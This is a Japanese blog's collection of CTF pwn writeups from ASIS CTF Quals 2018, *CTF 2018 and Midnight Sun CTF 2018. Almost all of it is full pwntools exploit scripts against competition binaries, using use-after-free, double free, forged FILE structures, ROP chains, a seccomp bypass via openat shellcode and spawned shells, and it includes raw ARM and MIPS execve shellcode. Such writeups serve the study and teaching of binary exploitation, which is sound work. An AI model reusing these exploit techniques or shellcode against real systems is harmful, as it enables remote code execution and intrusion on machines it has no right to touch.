ブログ未満のなにか

ブログなのか誰にも分からない

ASIS CTF Quals 2018 writeup

Cat

editで更新をしないとUAFが起きるので適当にやった

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./Cat')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6000
LHOST = "127.0.0.1"
LPORT = 6000

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./Cat'], gdbscript=gdbscript)
else:
    conn = process(['./Cat'])
    # conn = process(['./Cat'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def create(name, kind, age):
    conn.sendlineafter('which command?', '1')
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', str(age))

def edit(idx, name, kind, age, flag):
    conn.sendlineafter('which command?', '2')
    conn.sendlineafter('id?', str(idx))
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', age)
    conn.recvuntil('/n> ')
    if flag:
        conn.sendline('y')
    else:
        conn.sendline('n')
def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('> ', str(idx))


# exploit
log.info('Pwning')

create('a'*8, 'b'*8, 20)
edit(0, 'x'*8, 'y'*8, '20', False)
create('e'*8, p64(0x602000), 20)
edit(0, 'w'*8, p64(0x602068), '20', True)
conn.recvuntil('which command?')
conn.sendline('4')
conn.recvuntil('name: ')
conn.recvuntil('name: ')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x36e80
dbg("libc_base")

create('a'*8, 'b'*8, 20)
create('s'*0x10, 'v'*0x10, 20) # 3
edit(3, 'x'*0x10, p64(0x602068) * 2, '20', False)
create('x'*10, p64(0x602068)*2, 100)
edit(3, 'hogehoge', p64(libc_base + 0x45390), '/bin/sh\x00', False)

conn.interactive()

FCascasde

適当にstdinの_IO_buf_baseへnull byteを書き込んで制御をとった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fstream')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6002
LHOST = "127.0.0.1"
LPORT = 6002

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """
    b *0x400A91
    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fstream'], gdbscript=gdbscript)
else:
    conn = process(['./fstream'])
    # conn = process(['./fstream'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

# exploit
log.info('Pwning')

conn.recvuntil('>')
conn.sendline('11010110\x00')
conn.recvuntil('>')
conn.send('0'*0x98)
conn.recvuntil('0'*0x98)
libc_base = u64(conn.recv(6)+'\x00'*2) - 0x20830
dbg('libc_base')
conn.recvuntil('>')
conn.send('0'*0x30 + p64(libc_base + 0x4526a) + p64(0)* 0x10)

conn.recvuntil('>')
conn.sendline('1'*0x8)
conn.recvuntil('>')
conn.sendline('10110101')
conn.recvuntil('>')
conn.sendline(str(libc_base + 0x3c4918 + 1))
conn.recvuntil('>')
payload = p64(0xdeadbeef) * 3
payload += p64(libc_base + 0x3c4b10)  + p64(libc_base + 0x3c4b10 + 0x10) + p64(0)
conn.sendline(payload)
conn.sendline('x'*0x10 + p64(libc_base + 0x00036cfc ))

conn.interactive()

Fifty Dollars

0x60のchunkしかmallocできないが、double freeがあるので適当にやった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fifty_dollars')
context(os='linux', arch=elf.arch)
#context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6001
LHOST = "127.0.0.1"
LPORT = 6001

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fifty_dollars'], gdbscript=gdbscript)
else:
    conn = process(['./fifty_dollars'])
    # conn = process(['./fifty_dollars'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def alloc(idx, tmp):
    conn.sendlineafter('Your choice:', '1')
    conn.sendlineafter('Index:', str(idx))
    conn.sendafter('Content:', tmp)

def show(idx):
    conn.sendlineafter('Your choice:', '2')
    conn.sendlineafter('Index:', str(idx))

def delete(idx):
    conn.sendlineafter('Your choice:', '3')
    conn.sendlineafter('Index:', str(idx))

# exploit
log.info('Pwning')

alloc(0, 'hoge'*0x8)
alloc(1, 'hoge'*0x8)
delete(1)
delete(0)
show(0)
buf = conn.recvuntil('Done!')[:6]
heap_base = u64(buf+'\x00'*2) - 0x60
dbg("heap_base")
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x20)
alloc(3, 'w'*0x20)
alloc(4, 'u'*0x20)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0xb0) + 'hogehoge')
alloc(1, 'hoge')
alloc(1, 'hoge')
payload = p64(0) + p64(0xc1)
alloc(1, payload)
delete(2)
show(2)
buf = conn.recvuntil('Done!')[:6]
libc_base = u64(buf+'\x00'*2) - 0x3c4b78
dbg("libc_base")
alloc(1, 'hoge'*11 + 'x'*8)
alloc(1, 'hoge'*10)
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x40+p64(0)+p64(0x61))
payload = p64(0) + p64(0xc1)
alloc(1, payload)
alloc(3, p64(0xdeadbeef)*2)
alloc(4, 'u'*0x30 + p64(0) + p64(0x31))
aa = 59
for i in range(aa - 13):
    print i
    alloc(8, 'a')
for i in range(13 - 4):
    print i
    alloc(8, 'b')
payload = 'x'*0x20
payload += p64(0) + p64(0x31)
alloc(8, payload)
for _ in range(3):
    alloc(8, 'c')
payload = 'x'*0x10
payload += p64(0) + p64(0x31)
alloc(8, payload)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0x290) + 'hogehoge')
alloc(1, 'hoge'*12 + p64(libc_base + 0x3c49c0))
alloc(1, 'hoge'*10)
payload = p64(0) + p64(0xc1) + p64(libc_base + 0x4526a) * 8
alloc(1, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c67f8 - 0x10 )
alloc(7, payload)
payload = p64(libc_base + 0x3c4b78) * 2
alloc(7, payload)
delete(1)
payload = p64(0) + p64(0x181) +  p64(libc_base + 0x3c4b78)  * 2
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61)
payload += p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c5520 - 0x10)
alloc(9, payload)
delete(1)
payload = p64(0) + p64(0x17c1) + p64(0) * 2 
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x17c1 - 0x10*23) + p64(0) * 2   
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) * 3 + p64(libc_base + 0xf1147)
alloc(1, payload)

conn.interactive()

My Blog

seccompでsandboxになっているが、openはopenatで簡単に回避できるので、stagerを流して本体のshellcodeを実行させた。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./myblog')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./myblog'], gdbscript=gdbscript)
else:
    conn = process(['./myblog'])
    # conn = process(['./myblog'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def write(con, aut):
    conn.sendlineafter('4. Exit\n', '1')
    conn.recvuntil('content')
    conn.sendline(con)
    conn.recvuntil('author')
    conn.sendline(aut)

def delete(idx):
    conn.sendlineafter('4. Exit\n', '2')
    conn.sendlineafter('index', str(idx))

def show(name):
    conn.sendlineafter('4. Exit\n', '3')

    conn.send(name)

def bof(pay):
    conn.sendlineafter('4. Exit\n', '31337')
    conn.recvuntil('gift 0x')
    addr = int(conn.recv(12), 16) - 0x0
    conn.send(pay)
    return addr

# exploit
log.info('Pwning')

bin_base = bof('abcd') - 0xef4
dbg('bin_base')
for i in range(0x31):
    write('hoge', 'fuga')
show(p64(bin_base + 0x202040)[:7])
delete(-1)
for i in range(0x31):
    delete(i)
write('x'*0x2e, 'y'*4)

conn.sendline('3')
conn.recvuntil('Old Owner : ')
heap_base = u64(conn.recv(6)+'\x00'*2) - 0x970
dbg("heap_base")
conn.sendline('hoge')

# 0x0000116b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rbp_r12_r13_r14_r15 = bin_base + 0x0000116b
pop_rdi = bin_base + 0x00001173
pop_rbp = bin_base + 0x00000990
pop_rsi_r15 = bin_base + 0x00001171
# : pop rsi ; pop r15 ; ret  ;  (1 found)
leave_ret = bin_base + 0x10fa
heap = heap_base + 0x1ef0 + 0x38


rop = p64(pop_rdi) + p64(0x0)
rop += p64(pop_rbp) + p64(bin_base +0x202040)
rop += p64(leave_ret)

write(rop[:0x2e], 'y'*0x6)
write('x'*0x2e, 'y'*0x6)
write('x'*0x2e, 'y'*0x6)


#write('x'*0x20, 'y'*4)
shellcode = '''
hoge: syscall;
push rcx;
pop rsi;
pop rax;
jmp hoge;
'''
show(asm(shellcode))
raw_input('exec shellcode')
bof(p64(heap)*2+p64(bin_base + 0x000010fa))

shellcode = '''
push 0x30
pop rax
xor al, 0x30
push rax
mov rax, 7449354444781596526
push rax
mov rax, 8606431000579237935
push rax

mov rdi, -100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 257
syscall

mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 0x1
lea rsi, [rsp+0x100]
mov rdx, 0x100
mov rax, 1
syscall
'''
conn.sendline('\x90'*0x30 + asm(shellcode))

conn.interactive()

Message Me!

リモートと手元の環境ではtimezoneが違うせいか、ctimeによってheapの状況が変わり元々のexploitは刺さらなかった。固定アドレスとなっているbss上に必要なものを配置した。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./message_me')
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 6003
LHOST = "127.0.0.1"
LPORT = 6003

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./message_me'], gdbscript=gdbscript)
else:
    conn = process(['./message_me'])
    # conn = process(['./message_me'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def add(size, mess):
    conn.sendlineafter('choice : ', '0')
    conn.sendlineafter('size : ', str(size))
    conn.sendafter('meesage', mess)

def remove(idx):
    conn.sendlineafter('choice : ', '1')
    conn.sendlineafter('Give me index of the message : ', str(idx))
    conn.recvuntil('Done')

def show(idx):
    conn.sendlineafter('choice : ', '2')
    conn.sendlineafter('Give me index of the message : ', str(idx))

def change_time_stamp(idx):
    conn.sendlineafter('choice : ', '3')
    conn.sendlineafter('Give me index', str(idx))
    conn.recvuntil('Done')

# exploit
log.info('Pwning')

add(0xf00, 'hoge'*10)
add(0x100, 'hoge'*10)
remove(0)
add(0x80, 'x')
show(2)
conn.recvuntil('Message : ')
libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c5178
dbg('libc_base')
stdout = libc_base + 0x3c5620
stdin = libc_base + 0x3c48e0

add(0x60, p64(0x71) + p64(0x602075))   # 3
add(0x60, 'hoge')   # 4
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
add(0x60, 'hoge')
add(0x60, 'hoge')
payload = 'x'*0xb + 'y'*8
payload += p64(libc_base + 0x3c5620) * 2+p64(libc_base + 0x3c48e0)  + p64(0x181)
payload += p64(0x6020c0) + p64(0x602230+8)+ p64(0x602230+0x28)
print hex(len(payload))
add(0x60, payload)

change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
remove(0)
fake_stdout = p64(0x0)
fake_stdout += p64(0xfbad2887) + p64(0)*2+p64(libc_base + 0x3c56a3) * 5 + p64(libc_base +0x3c56a4)
fake_stdout += p64(0)*4 + p64(libc_base+0x3c48e0)
fake_stdout += p64(1) + p64(0xffffffffffffffff)
fake_stdout += p64(0) + p64(libc_base+0x3c6780)
fake_stdout += p64(0xffffffffffffffff) + p64(0)
fake_stdout += p64(libc_base+0x3c47a0) + p64(0)*3
fake_stdout += p64(0xffffffff) + p64(0)*2
fake_stdout += p64(0x6021b0)
vtable = 'a'*0x18 + p64(libc_base + 0x4526a) + 'c'*0x18 + p64(libc_base + 0x791e0) + 'b'*0x30
add(0x170, fake_stdout+vtable)

add(0x60, p64(0x71)+p64(0x602075))
add(0x60, 'fugafugafugafuga')
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(4)
add(0x60, 'fugafugafugafuga')
add(0x60, 'fugafugafugafuga')
add(0x60, 'x'*0xb + 'y'*8 + p64(0x6020d0))

conn.interactive()

* CTF 2018 writeup

warmup (misc)

miscだがpwnだった。 stack bofがあるのでやるだけ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10006
LHOST = "127.0.0.1"
LPORT = 10006

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./warmup')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./warmup'], execute)
else:
    conn = process(['./warmup'])
    # conn = process(['./warmup'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation


pop_rdi = 0x00400a63
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400a40
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x00400a5a
printf_got = 0x0000000000600fc8
puts_plt = elf.symbols['puts']
main_addr = 0x4008B9


log.info('Pwning')

conn.sendlineafter('for?', str(0x601030))
conn.recv(1)
heap_addr = int(conn.recvline(), 16)
log.info('heap_addr = 0x%x', heap_addr)

payload = 'x'*0x18 + p64(heap_addr) + 'y'*0x8 + p64(main_addr)
conn.sendline(payload)

conn.sendlineafter('for?', str(0x601010))
conn.recv(1)
libc_base = int(conn.recvline(), 16) - 0x3c5620
log.info('libc_base = 0x%x', libc_base)

payload = 'x'*0x18 + p64(heap_addr+0x20) + 'y'*0x8 + p64(libc_base + 0x4526a) + p64(0) * 10
conn.sendline(payload)

conn.interactive()

urlparse (pwn)

size 0にするとbkに該当する部分からアドレスリークができる。 top chunkを移動させることでchunk sizeを巻き込んだencode/decodeができ、chunk sizeの改竄ができる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.75.4.252"
RPORT = 10013
LHOST = "127.0.0.1"
LPORT = 10013

# libc = ELF('')
elf = ELF('./urlparse2')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./aaa'], execute)
else:
    conn = process(['./urlparse2'])
    # conn = process(['./c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696'], env={'LD_PRELOAD': ''})

# preparing for exploitation
def create(size, url):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('size: ', str(size))
    conn.sendlineafter('URL: ', url)

def encode(idx):
    conn.sendlineafter('> ', '2')
    conn.sendlineafter('index: ', str(idx))

def decode(idx):
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('index: ', str(idx))

def _list():
    conn.sendlineafter('> ', '4')

def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('index: ', str(idx))


log.info('Pwning')

create(0x80, '%31%31%31')
create(0x80, '%31%31%31')
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
libc_base = u64(conn.recv(6) +'\x00\x00') - 0x3c4bf8
log.info('libc_base = 0x%x', libc_base)
delete(1)
delete(0)
create(0x80, 'xxxx')
create(0x80, 'yyyy')
create(0x80, 'wwww')
create(0x80, 'zzzz')
delete(0)
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
heap_base = u64(conn.recv(6) +'\x00\x00') - 0xb0
log.info('heap_base = 0x%x', heap_base)
delete(0)
delete(0)
delete(0)

create(0x100, '\x10'*0x100)
delete(0)
create(0, '')
create(0x1000, 'hoge')
create(0x1000, 'hoge')
create(0x60, 'targetfastbin')
create(0x1000-0x70, 'hoge')
create(0x100, 'BANPEI')
encode(5)
delete(4)
delete(2)   # free fastbin

import urllib

for _ in range(0x20-2):
    create(0x100, 'hoge')

payload = 'h'*0x30
payload += '%25%37%31' + '%25%30%30' * 7
payload += urllib.quote(urllib.quote(p64(libc_base + 0x3c4aed)))
create(0x100, payload)
decode(0)
create(0x60, 'a')
payload = 'x'*0xb + p64(libc_base + 0xf1147)
create(0x60, payload)

conn.interactive()

babtstack (pwn)

よくわからんがcanaryがあるはずなのに、exloitできてしまった。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10005
LHOST = "127.0.0.1"
LPORT = 10005

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./bs')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a9c
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./bs'], execute)
else:
    conn = process(['./bs'])
    # conn = process(['./bs'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation

pop_rbp = 0x00400870
leave_ret =  0x00400955
pop_rdi = 0x00400c03
pop_rsi_r15 = 0x00400c01
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x400bfa
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400be0
puts_plt = elf.symbols['puts']
read_plt = elf.symbols['read']
read_got = 0x0000000000601fd0


log.info('Pwning')

conn.recvuntil('send?')
conn.sendline(str(0x20c0))
time.sleep(0.01)

payload = 'x'*(0x20c0 - 0x10a8)
rop = p64(0x00400c03) + p64(0x601fd8) + p64(puts_plt)
rop += p64(set_regs) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x100) + p64(0x602f00) + p64(0)
rop += p64(call_r12) + p64(0x0)*7
rop += p64(pop_rbp) + p64(0x602f00) + p64(leave_ret)
payload += rop

conn.send(payload.ljust(0x20c0, 'x'))
conn.recvuntil('goodbye.\n')

libc_base = u64(conn.recv(6) + '\x00'*2) - 0x20740
log.info('libc_base = 0x%x', libc_base)

rop = '\x00'*0x8 + p64(pop_rdi) + p64(libc_base + 0x18cd57) + p64(libc_base + 0x45390)
rop = '\x00'*0x8 + p64(libc_base + 0x4526a)
conn.sendline(rop)
conn.interactive()

primepwn (pwn)

long型の数値を入力すると、それが素数かどうか判定する。 素数であればその値をshellcodeとして実行してくれる。 素数となるstagerを送った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10008
LHOST = "127.0.0.1"
LPORT = 10008

# libc = ELF('')
elf = ELF('./primepwn')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a87
        b *0x400a3a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./primepwn'], execute)
else:
    conn = process(['./primepwn'])
    # conn = process(['./primepwn'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.recvuntil('(xxxx+')
salt = conn.recv(len('cACBELX3C9pULUUB'))
print salt
conn.recvuntil(' == ')
hashed = conn.recvline()[:-1]
print hashed
import hashlib
import string
import itertools

def search(s, h):
    chars = string.ascii_letters + string.digits

    for el in itertools.permutations(chars, 4):
        x = ''.join(el)
        if hashlib.sha256(x+s).hexdigest() == h:
            return x
    return None

conn.sendline(search(salt, hashed))

shellcode = '''hoge: syscall;
xchg ecx,esi;
mov dh,18;
jmp hoge'''

shell = 'mov rsp, 0x601f00'

print u64(asm(shellcode))
conn.sendline(str(u64(asm(shellcode))))
time.sleep(1)
conn.sendline('\x90'*0x20+asm(shell)+asm(shellcraft.sh()))
time.sleep(1)
conn.interactive()

note (pwn)

stack bofがありscanfに渡す制御文字を制御できるのでさらなるstack bofを起こした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10007
LHOST = "127.0.0.1"
LPORT = 10007

# libc = ELF('./libc.so.6')
elf = ELF('./note')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400fe9
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./note'], execute)
else:
    conn = process(['./note'])
    # conn = process(['./note'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def edit(payload):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('Note:', payload)

def show():
    conn.sendlineafter('> ', '2')
    conn.recvuntil('Note:')
    return conn.recvline()[:-1]

def save():
    conn.sendlineafter('> ', '3')
    conn.recvuntil('Saved!')

def change(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('ID:', payload)

'''
0x00401003: pop rdi ; ret  ;  (1 found)
0x00401001: pop rsi ; pop r15 ; ret  ;  (1 found)
0x00400ffa: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400fd8: nop dword [rax+rax+0x00000000] ; mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
'''
pop_rdi = 0x00401003
pop_rsi_r15 = 0x00401001
set_regs = 0x00400ffa
call_r12 = 0x00400fd8
leave_ret = 0x00400e3d

printf_plt = elf.symbols['printf']
puts_got = 0x601f90
write_file = 0x400D4D
main = 0x400E3F

log.info('Pwning')

conn.sendline('%s'*0x69)
payload = 'x'*168 + p64(0x602110)
#payload = 'x'*168 + 'z' *8
payload = payload.ljust(0x100, 'y')
edit(payload)
payload = 'a'*0x64
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got+0x300)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(0x0000000000601ff0)+p64(0)+p64(0x602f00)+p64(0x602110)
payload += p64(call_r12) + p64(0)*2 + p64(0x00602f00) + p64(0)*4
payload += p64(leave_ret)
conn.recvuntil('> ')
conn.sendline(payload)

libc_base = u64(conn.recv(6)+'\x00\x00') - 0x6f690
print hex(libc_base)

payload = 'x'*8 + p64(libc_base + 0x4526a)
conn.sendline(payload)
conn.interactive()

Midnight Sun CTF 2018 writeup

Babyshells - Pwn (50 + 15)

x86, ARM, MIPSのshellcodeを送るだけ。

x86

#!/usr/bin/env python
from pwn import *

# context(os='linux', arch='i386')
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

RHOST = "52.30.206.11"
RPORT = 7000
LHOST = "127.0.0.1"
LPORT = 7000

# libc = ELF('')
elf = ELF('./chall')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./chall'], execute)
else:
    conn = process(['./chall'])
    # conn = process(['./chall'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.sendline('1')
conn.sendline(asm(shellcraft.sh()))
conn.interactive()

ARM

shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
conn.sendline('1')
conn.sendline(shell)
conn.interactive()

MIPS

shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c"
conn.sendline('1')
conn.sendline(shell)

Haxpresso - Pwn (300)

書き込みができるポインタが任意に制御できるので、GOTに書き換えた。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='i386')
